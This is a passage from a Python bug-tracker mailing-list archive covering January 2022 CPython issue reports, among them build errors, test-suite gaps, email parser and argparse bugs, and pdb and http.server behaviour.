`codeobject.co_positions` which is pretty much the same thing: https://docs.python.org/3.11/reference/datamodel.html?highlight=co_positions#codeobject.co_positions I would like to work on it after a final decision is made :) ---------- components: Library (Lib) messages: 410855 nosy: BTaskaya, pablogsal, sobolevn priority: normal severity: normal status: open title: Why do we need `dis.Positions`? type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:28:36 2022 From: report at bugs.python.org (Ali Ramezani) Date: Tue, 18 Jan 2022 13:28:36 +0000 Subject: [New-bugs-announce] [issue46423] CLI: Addition assignment for tuples Message-ID: <1642512516.0.0.820230309045.issue46423@roundup.psfhosted.org> New submission from Ali Ramezani : In CLI (Command Line Interpreter): A tuple has a list component then try to += that component. Since tuple doesn't allow assignment then it raises error but actually does that. If you try actual equivalence (A=A+B) it does not. Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> >>> v=([1],[2]) >>> v[0]=v[0]+[3,4] Traceback (most recent call last): File "", line 1, in TypeError: 'tuple' object does not support item assignment >>> v ([1], [2]) >>> v[0]+=[3,4] Traceback (most recent call last): File "", line 1, in TypeError: 'tuple' object does not support item assignment >>> v ([1, 3, 4], [2]) >>> ---------- messages: 410861 nosy: ramezaniua priority: normal severity: normal status: open title: CLI: Addition assignment for tuples type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:32:17 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 13:32:17 +0000 Subject: [New-bugs-announce] [issue46424] `typing.Annotated` one type argument usage is not covered in tests Message-ID: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> New submission from Nikita Sobolev : This condition is not covered: https://github.com/python/cpython/blob/bdf2ab1887a2edfb089a3c2a1590cf1e84ea0048/Lib/typing.py#L1674-L1677 I propose to add a test for it, because `Annotated[int]` is invalid. PR is on its way :) ---------- components: Tests messages: 410862 nosy: kj, sobolevn priority: normal severity: normal status: open title: `typing.Annotated` one type argument usage is not covered in tests type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 13:41:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 18:41:39 +0000 Subject: [New-bugs-announce] [issue46425] Multiple test modules fail to run if invoked directly Message-ID: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> New submission from Nikita Sobolev : While working on a similar issue for `test_typing.py` (https://bugs.python.org/issue46416) I wondered: how many other modules also have this problem? So, after several hours of local testing, I got several problems: - Lib/test/test_compileall.py Uses relative `.` import that cannot be resolved - Lib/test/test_distutils.py Is missing `import unittest` to run `unittest.main()` - Lib/test/test_dtrace.py Calls undefined `test_main()` instead of `unittest.main()` - Lib/test/test_tools/test_freeze.py Uses relative `.` import that cannot be resolved - Lib/test/test_zipfile64.py Imports undefined `from test.support import TESTFN` - Lib/unittest/test/test_program.py Uses relative `.` import that cannot be resolved Probably there are other problems, because I haven't checked: - Windows tests, because I don't have a Win machine - `test_importlib`, because it has a lot of failure (I don't know how to fix them yet) - Multiple other modules with slow tests - Modules with doctests which assert full `__qualname__` with module names To keep PRs reviews sane, I will include changes for several modules and split this big task of checking all test modules into several consecutive and rather simple pull requests. The first one with the problems described above is on its way! ---------- components: Tests messages: 410879 nosy: corona10, sobolevn priority: normal severity: normal status: open title: Multiple test modules fail to run if invoked directly type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 14:43:29 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 Jan 2022 19:43:29 +0000 Subject: [New-bugs-announce] [issue46426] Improve tests for the dir_fd argument Message-ID: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> New submission from Serhiy Storchaka : There is a flaw in tests for the dir_fd argument in test_posix. All these tests open a current directory as dir_fd, so all paths are relative to the current directory. They will pass in case of the following errors: 1. dir_fd, src_dir_fd or dst_dir_fd are completely ignored. 2. The meaning of src_dir_fd and dst_dir_fd is opposite. The proposed PR rewrites these tests. It is ensure that directory file descriptors refer to directories different from the current directory, and that src_dir_fd and dst_dir_fd refer to different directories, and that all tested filenames are unique, so files cannot be confused with existing diles in different directories. Also add context manager open_dir_fd() in test.support.os_helper. It may be helpful in other tests for the dir_fd argument. ---------- components: Tests messages: 410882 nosy: serhiy.storchaka priority: normal severity: normal status: open title: Improve tests for the dir_fd argument type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 15:53:27 2022 From: report at bugs.python.org (neonene) Date: Tue, 18 Jan 2022 20:53:27 +0000 Subject: [New-bugs-announce] [issue46427] Correct MSBuild's configuration for _freeze_module.exe Message-ID: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> New submission from neonene : In pcbuild.proj, "PreferredToolArchitecture" property looks misused, which I think is useful giving us two selections of a compiler (32bit or 64bit) for any target architecture (Win32/x64/ARM/ARM64). I think the property can be unused there. This means a partial revert of PR28491, whose description I cannot reproduce. This also rolls _freeze_module.exe's architecture back to x64 when the target platform is x64 or ARM64. ---------- components: Build messages: 410891 nosy: neonene priority: normal severity: normal status: open title: Correct MSBuild's configuration for _freeze_module.exe type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:56:34 2022 From: report at bugs.python.org (YoSTEALTH) Date: Tue, 18 Jan 2022 21:56:34 +0000 Subject: [New-bugs-announce] [issue46428] 3.11.0a3 vs 3.11.0a4 Message-ID: <1642542994.93.0.158287959711.issue46428@roundup.psfhosted.org> New submission from YoSTEALTH : Getting compilation error for an Cython project, since upgrade from `3.11.0a3` to `3.11.0a4`, same code. /opt/python/3.11/bin/python3 setup.py build_ext --inplace -j18 clean --all # 3.11.0a3 # ======== prefix /usr includedir /usr/include libdir /usr/lib libdevdir /usr/lib relativelibdir mandir /usr/man datadir /usr/share stringop_overflow yes array_bounds yes __kernel_rwf_t yes __kernel_timespec yes open_how yes statx yes C++ yes has_ucontext yes has_memfd_create yes liburing_nolibc yes CC gcc CXX g++ Compiling src/uring.pyx because it depends on /opt/python/3.11/lib/python3.11/site-packages/Cython/Includes/libc/s tring.pxd. [1/1] Cythonizing src/uring.pyx running build_ext building 'uring._uring' extension gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/nolibc.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/nolibc.o -Os -g0 - include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/queue.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/queue.o -Os -g0 -in clude libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/register.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/register.o -Os - g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c libs/liburing/src/setup.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/setup.o -Os -g0 -in clude libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/inc lude/python3.11 -c src/uring.c -o build/temp.linux-x86_64-3.11/src/uring.o -Os -g0 -include libs/liburing/config-h ost.h gcc -pthread -shared build/temp.linux-x86_64-3.11/libs/liburing/src/nolibc.o build/temp.linux-x86_64-3.11/libs/lib uring/src/queue.o build/temp.linux-x86_64-3.11/libs/liburing/src/register.o build/temp.linux-x86_64-3.11/libs/libu ring/src/setup.o build/temp.linux-x86_64-3.11/src/uring.o -o build/lib.linux-x86_64-3.11/uring/_uring.cpython-311- x86_64-linux-gnu.so copying build/lib.linux-x86_64-3.11/uring/_uring.cpython-311-x86_64-linux-gnu.so -> uring running clean removing 'build/temp.linux-x86_64-3.11' (and everything under it) removing 'build/lib.linux-x86_64-3.11' (and everything under it) removing 'build/bdist.linux-x86_64' (and everything under it) 'build/scripts-3.11' does not exist -- can't clean it removing 'build' # 3.11.0a4 # ======== prefix /usr includedir /usr/include libdir /usr/lib libdevdir /usr/lib relativelibdir mandir /usr/man datadir /usr/share stringop_overflow yes array_bounds yes __kernel_rwf_t yes __kernel_timespec yes open_how yes statx yes C++ yes has_ucontext yes has_memfd_create yes liburing_nolibc yes CC gcc CXX g++ Compiling src/uring.pyx because it depends on /opt/python/3.11/lib/python3.11/site-packages/Cython/Includes/libc/string.pxd. [1/1] Cythonizing src/uring.pyx running build_ext building 'uring._uring' extension gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/nolibc.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/nolibc.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/queue.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/queue.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/register.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/register.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c libs/liburing/src/setup.c -o build/temp.linux-x86_64-3.11/libs/liburing/src/setup.o -Os -g0 -include libs/liburing/config-host.h gcc -pthread -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Ilibs/liburing/src/include -I/opt/python/3.11/include/python3.11 -c src/uring.c -o build/temp.linux-x86_64-3.11/src/uring.o -Os -g0 -include libs/liburing/config-host.h src/uring.c: In function ?__Pyx_PyErr_GetTopmostException?: src/uring.c:53549:21: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53549 | while ((exc_info->exc_type == NULL || exc_info->exc_type == Py_None) && | ^~ src/uring.c:53549:51: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53549 | while ((exc_info->exc_type == NULL || exc_info->exc_type == Py_None) && | ^~ src/uring.c: In function ?__Pyx__ExceptionSave?: src/uring.c:53563:21: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53563 | *type = exc_info->exc_type; | ^~ src/uring.c:53565:19: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53565 | *tb = exc_info->exc_traceback; | ^~ src/uring.c: In function ?__Pyx__ExceptionReset?: src/uring.c:53579:24: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53579 | tmp_type = exc_info->exc_type; | ^~ src/uring.c:53581:22: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53581 | tmp_tb = exc_info->exc_traceback; | ^~ src/uring.c:53582:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53582 | exc_info->exc_type = type; | ^~ src/uring.c:53584:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53584 | exc_info->exc_traceback = tb; | ^~ src/uring.c: In function ?__Pyx__GetException?: src/uring.c:53641:28: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53641 | tmp_type = exc_info->exc_type; | ^~ src/uring.c:53643:26: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53643 | tmp_tb = exc_info->exc_traceback; | ^~ src/uring.c:53644:17: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53644 | exc_info->exc_type = local_type; | ^~ src/uring.c:53646:17: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53646 | exc_info->exc_traceback = local_tb; | ^~ src/uring.c: In function ?__Pyx__ExceptionSwap?: src/uring.c:53679:24: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53679 | tmp_type = exc_info->exc_type; | ^~ src/uring.c:53681:22: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53681 | tmp_tb = exc_info->exc_traceback; | ^~ src/uring.c:53682:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53682 | exc_info->exc_type = *type; | ^~ src/uring.c:53684:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53684 | exc_info->exc_traceback = *tb; | ^~ error: command '/usr/bin/gcc' failed with exit code 1 ---------- messages: 410901 nosy: YoSTEALTH priority: normal severity: normal status: open title: 3.11.0a3 vs 3.11.0a4 type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 23:27:26 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 04:27:26 +0000 Subject: [New-bugs-announce] [issue46429] Merge all deepfrozen files into one Message-ID: <1642566446.59.0.92047418584.issue46429@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: gvanrossum, kumaraditya303 priority: normal severity: normal status: open title: Merge all deepfrozen files into one versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 06:06:14 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 11:06:14 +0000 Subject: [New-bugs-announce] [issue46430] intern strings in deepfrozen modules Message-ID: <1642590374.41.0.714192738609.issue46430@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: gvanrossum, kumaraditya303 priority: normal severity: normal status: open title: intern strings in deepfrozen modules versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:13:20 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 13:13:20 +0000 Subject: [New-bugs-announce] [issue46431] Trouble subclassing ExceptionGroup Message-ID: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> New submission from Petr Viktorin : I want to test a web application by crawling every reachable page. If an error occurs, I need to keep track of the page the error occured at (and additional info like what links were followed to get to the page, so a `__note__` string isn't enough). This info is in an object I'll call Task. To use the improvements from PEP 654 but also keep extra info, I tried to make a subclass of ExceptionGroup: ```python class MultiError(ExceptionGroup): def __init__(self, failed_tasks): super.__init__( f"{len(tasks)} tasks failed", [t.exception for t in failed_tasks], ) self.tasks = tasks # ... and set __note__ on each exception for nice tracebacks ``` but this fails with a rather opaque message: ```python >>> class Task: exception = AssertionError() # enough of a Task for this example ... >>> MultiError([Task(), Task()]) Traceback (most recent call last): File "", line 1, in TypeError: function takes exactly 2 arguments (1 given) ``` Knowing about `__new__` and following a note in the docs, I'm able to fix this, but It's not obvious. Before suggesting stuff, I'll ask: Am I doing something weird, or should this be made easier/more obvious? Another issue I ran into: the list of exceptions is stored in the publicly-named but undocumented attribute `exceptions`. Am I allowed to use it? ---------- messages: 410942 nosy: iritkatriel, petr.viktorin priority: normal severity: normal status: open title: Trouble subclassing ExceptionGroup versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:34:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 19 Jan 2022 15:34:31 +0000 Subject: [New-bugs-announce] [issue46432] AMD64 FreeBSD Shared 3.x buildbot fails to build: error: error reading 'LASTCFLAGS' Message-ID: <1642606471.52.0.164766781716.issue46432@roundup.psfhosted.org> New submission from STINNER Victor : The AMD64 FreeBSD Shared 3.x buildbot worker fails to build Python with the following error message: error reading 'LASTCFLAGS' The first failure was today (January 19, 2022) at build 1513: https://buildbot.python.org/all/#/builders/483/builds/1513 ---------- components: Build messages: 410958 nosy: koobs, vstinner priority: normal severity: normal status: open title: AMD64 FreeBSD Shared 3.x buildbot fails to build: error: error reading 'LASTCFLAGS' versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:46:37 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 15:46:37 +0000 Subject: [New-bugs-announce] [issue46433] _PyType_GetModuleByDef optimization is incorrect Message-ID: <1642607197.61.0.0970144809853.issue46433@roundup.psfhosted.org> New submission from Petr Viktorin : I'm looking at the _PyType_GetModuleByDef optimization in https://github.com/python/cpython/pull/25504/files -- previously I assumed it's OK since it passed review. But it doesn't look correct: - in the `_PyType_HasFeature` assert, we should be looking at `super` rather than `type` - it's definitely possible that a hear type has a static type in the MRO -- `object`, at least. The `(PyHeapTypeObject*)super` cast is invalid in the case when the module is not found. And it's *also* incorrect in some cases of diamond inheritance, when a static type comes before the type we're looking for in `bases`. It also adds a precondition that's not feasible public API, which this was meant to become: it should be callable with any type object. That's possible to do by keeping faster internal API and adding a public version with checks, but the diamond inheritance problem remains. Py_TPFLAGS_HEAPTYPE needs to be checked at runtime (except for the first iteration, if we're sure we're handling a static type). Does that analysis sound right? ---------- messages: 410962 nosy: petr.viktorin, vstinner priority: normal severity: normal status: open title: _PyType_GetModuleByDef optimization is incorrect versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:41:48 2022 From: report at bugs.python.org (sparrowt) Date: Wed, 19 Jan 2022 16:41:48 +0000 Subject: [New-bugs-announce] [issue46434] pdb help fails with AttributeError when using Windows embeddable package Message-ID: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> New submission from sparrowt : When running python from an embeddable windows zip file such as: https://www.python.org/ftp/python/3.9.10/python-3.9.10-embed-amd64.zip the `help` command within `pdb` is broken due to missing docstrings, as demonstrated below. Python 3.9.10 (tags/v3.9.10:f2f3f53, Jan 17 2022, 15:14:21) [MSC v.1929 64 bit (AMD64)] on win32 >>> import pdb >>> pdb.set_trace() --Return-- > (1)()->None (Pdb) help interact Traceback (most recent call last): File "", line 1, in File "bdb.py", line 92, in trace_dispatch File "bdb.py", line 151, in dispatch_return File "pdb.py", line 294, in user_return File "pdb.py", line 357, in interaction File "pdb.py", line 322, in _cmdloop File "cmd.py", line 138, in cmdloop File "pdb.py", line 422, in onecmd File "cmd.py", line 217, in onecmd File "pdb.py", line 1496, in do_help AttributeError: 'NoneType' object has no attribute 'rstrip' >>> >>> print(pdb.Pdb.do_interact.__doc__) None ---------- components: Library (Lib), Windows messages: 410970 nosy: paul.moore, sparrowt, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: pdb help fails with AttributeError when using Windows embeddable package versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:01:36 2022 From: report at bugs.python.org (bpoaugust) Date: Wed, 19 Jan 2022 17:01:36 +0000 Subject: [New-bugs-announce] [issue46435] MessageID parser can crash with IndexError: string index out of range Message-ID: <1642611696.19.0.00941032029995.issue46435@roundup.psfhosted.org> New submission from bpoaugust : The Message-ID parser can crash on truncated input. For example: import email.policy message=email.message_from_string("Message-id: message['Message-id'] File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/message.py", line 391, in __getitem__ return self.get(name) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/message.py", line 471, in get return self.policy.header_fetch_parse(k, v) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/policy.py", line 163, in header_fetch_parse return self.header_factory(name, value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/headerregistry.py", line 604, in __call__ return self[name](name, value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/headerregistry.py", line 192, in __new__ cls.parse(value, kwds) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/headerregistry.py", line 532, in parse kwds['parse_tree'] = parse_tree = cls.value_parser(value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/_header_value_parser.py", line 2126, in parse_message_id token, value = get_msg_id(value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/_header_value_parser.py", line 2101, in get_msg_id token, value = get_domain(value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/_header_value_parser.py", line 1604, in get_domain if value[0] in CFWS_LEADER: IndexError: string index out of range ---------- components: email messages: 410972 nosy: barry, bpoaugust, r.david.murray priority: normal severity: normal status: open title: MessageID parser can crash with IndexError: string index out of range type: crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:39:40 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Wed, 19 Jan 2022 17:39:40 +0000 Subject: [New-bugs-announce] [issue46436] Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler Message-ID: <1642613980.51.0.0570385311323.issue46436@roundup.psfhosted.org> New submission from G?ry : The API of [`http.server`](https://docs.python.org/3/library/http.server.html) supports the `directory` optional parameter for `CGIHTTPRequestHandler` (which is inherited from `SimpleHTTPRequestHandler`). The CLI of `http.server` supports the corresponding `-d/--directory` option. The `-d/--directory` option is passed to `SimpleHTTPRequestHandler` as the `directory` argument: > python -m http.server --directory /tmp/ But the `-d/--directory` option is not passed to `CGIHTTPRequestHandler` (which is enabled with the `--cgi` option): > python -m http.server --directory /tmp/ --cgi So the option is ignored in that case. ---------- components: Library (Lib) messages: 410973 nosy: docs at python, maggyero priority: normal pull_requests: 28899 severity: normal status: open title: Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:42:38 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 17:42:38 +0000 Subject: [New-bugs-announce] [issue46437] Non-required `hasattr` checks in `test_typing` Message-ID: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several legacy `hasattr` checks that are always `True` in newer Python versions: 1. https://github.com/python/cpython/blob/d45cd2d20770f72a000ba6dfa9ac88dd49423c27/Lib/test/test_typing.py#L3516 2. https://github.com/python/cpython/blob/d45cd2d20770f72a000ba6dfa9ac88dd49423c27/Lib/test/test_typing.py#L5133 I think it is safe to delete them. ---------- components: Tests messages: 410974 nosy: sobolevn priority: normal severity: normal status: open title: Non-required `hasattr` checks in `test_typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:35:21 2022 From: report at bugs.python.org (Steve Dower) Date: Wed, 19 Jan 2022 20:35:21 +0000 Subject: [New-bugs-announce] [issue46438] Static linking _decimal module breaks test_freeze Message-ID: <1642624521.94.0.159387855198.issue46438@roundup.psfhosted.org> New submission from Steve Dower : After applying this patch on Linux, test_freeze_simple_script (test.test_tools.test_freeze.TestFreeze) fails. diff --git a/Modules/Setup b/Modules/Setup index d3647ecb99..c41bcac453 100644 --- a/Modules/Setup +++ b/Modules/Setup @@ -135,7 +135,7 @@ PYTHONPATH=$(COREPYTHONPATH) #_contextvars _contextvarsmodule.c #_csv _csv.c #_datetime _datetimemodule.c -#_decimal _decimal/_decimal.c +_decimal _decimal/_decimal.c #_heapq _heapqmodule.c #_json _json.c #_lsprof _lsprof.c rotatingtree.c The stderr from the test is below. The rest of the output looks normal to me, but most of the build output is missing. --- STDERR --- gcc: error: Modules/_decimal/libmpdec/libmpdec.a: No such file or directory make: *** [Makefile:976: app] Error 1 ---------- components: Build messages: 410978 nosy: steve.dower priority: normal severity: normal status: open title: Static linking _decimal module breaks test_freeze versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 16:00:26 2022 From: report at bugs.python.org (Ashwin Ramaswami) Date: Wed, 19 Jan 2022 21:00:26 +0000 Subject: [New-bugs-announce] [issue46439] Clarify urllib.request.add_header documentation Message-ID: <1642626026.43.0.914790012099.issue46439@roundup.psfhosted.org> New submission from Ashwin Ramaswami : We should add a note that headers added via urllib.request.add_header are added to redirected requests. It isn't immediately clear upon reading the documentation that this is the case. ---------- assignee: docs at python components: Documentation messages: 410983 nosy: docs at python, epicfaace priority: normal severity: normal status: open title: Clarify urllib.request.add_header documentation _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 16:04:30 2022 From: report at bugs.python.org (Daniel Schulte) Date: Wed, 19 Jan 2022 21:04:30 +0000 Subject: [New-bugs-announce] [issue46440] ArgumentParser.parse_args exits on missing required argument with exit_on_error=False Message-ID: <1642626270.03.0.621125172575.issue46440@roundup.psfhosted.org> New submission from Daniel Schulte : When calling ArgumentParser.parse_args(list_of_things_to_parse) sys.exit gets called even though the parser was constructed with exit_on_error=False. It doesn't matter if the parser has any subparsers added or not. The docs say > Normally, when you pass an invalid argument list to the parse_args() > method of an ArgumentParser, it will exit with error info. > If the user would like to catch errors manually, the feature can be > enabled by setting exit_on_error to False: > [example code follows] The docs make me believe what I'm trying to do should work. I've attached a minimal working example to show what happens (with and without subparsers). ---------- components: Library (Lib) files: bug.py messages: 410984 nosy: trilader priority: normal severity: normal status: open title: ArgumentParser.parse_args exits on missing required argument with exit_on_error=False type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50567/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 18:07:56 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 Jan 2022 23:07:56 +0000 Subject: [New-bugs-announce] [issue46441] Caret points to wrong line on 'return yield 42' in REPL Message-ID: <1642633676.14.0.383568464091.issue46441@roundup.psfhosted.org> New submission from Guido van Rossum : This seems to happen in 3.11 in the REPL only. >>> def f(): ... print(0) ... return yield 42 File "", line 3 def f(): ^ SyntaxError: invalid syntax Note that running it from a file gives the expected output: PS C:\Users\gvanrossum\cpython> py -3.10 .\t.py File "C:\Users\gvanrossum\cpython\t.py", line 3 return yield 42 ^^^^^ SyntaxError: invalid syntax as does the 3.10 REPL: >>> def f(): ... print(0) ... return yield 42 File "", line 3 return yield 42 ^^^^^ SyntaxError: invalid syntax ---------- assignee: pablogsal components: Parser messages: 410988 nosy: gvanrossum, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Caret points to wrong line on 'return yield 42' in REPL versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 19:33:05 2022 From: report at bugs.python.org (Yellow Dusk) Date: Thu, 20 Jan 2022 00:33:05 +0000 Subject: [New-bugs-announce] [issue46442] testExceptionCleanupNames doesn't test anything? Message-ID: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> New submission from Yellow Dusk : testExceptionCleanupNames() is supposed to test that the local variable bound to the exception instance is only visible inside the except block, and tests that by checking whether the name is in locals(), but it actually deletes the name before that, so it appears it isn't testing what it's supposed to be testing. ``` try: raise Exception() except Exception as e: self.assertTrue(e) del e self.assertNotIn('e', locals()) ``` ---------- components: Tests messages: 410997 nosy: yellowdusk1590 priority: normal severity: normal status: open title: testExceptionCleanupNames doesn't test anything? versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 00:22:50 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 20 Jan 2022 05:22:50 +0000 Subject: [New-bugs-announce] [issue46443] Deepfreeze use preallocated small ints Message-ID: <1642656170.86.0.231624128837.issue46443@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: gvanrossum, kumaraditya303 priority: normal pull_requests: 28907 severity: normal status: open title: Deepfreeze use preallocated small ints versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:25:26 2022 From: report at bugs.python.org (Darshan Kanade) Date: Thu, 20 Jan 2022 06:25:26 +0000 Subject: [New-bugs-announce] [issue46444] Wrong value of pi for larger values using math.cos() function Message-ID: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> New submission from Darshan Kanade : I was solving this problem to find the approximate value of pi using the Archimedes method using two different logics - 1) The first one used the formula pi = k*cos(90-180/k) but when I gave very large input, say k=2**62 sides of polygon, then it gives the value of pi as 282.3843260569851... for comparatively smaller k=1000000 it is around 3.14 2)Because the first one was giving wrong answer for larger values, I googled for solution and came across this other logic using the formula pi = k * sin(180/k). In this method, we get values of pi around 3.14 no matter how large the input is, even if it is k=2**62! ---------- messages: 411005 nosy: Darshan priority: normal severity: normal status: open title: Wrong value of pi for larger values using math.cos() function type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 10:52:23 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 20 Jan 2022 15:52:23 +0000 Subject: [New-bugs-announce] [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` Message-ID: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> New submission from Nikita Sobolev : Why is this important? 1. Because multiple inheritance of `TypedDict` might not handle 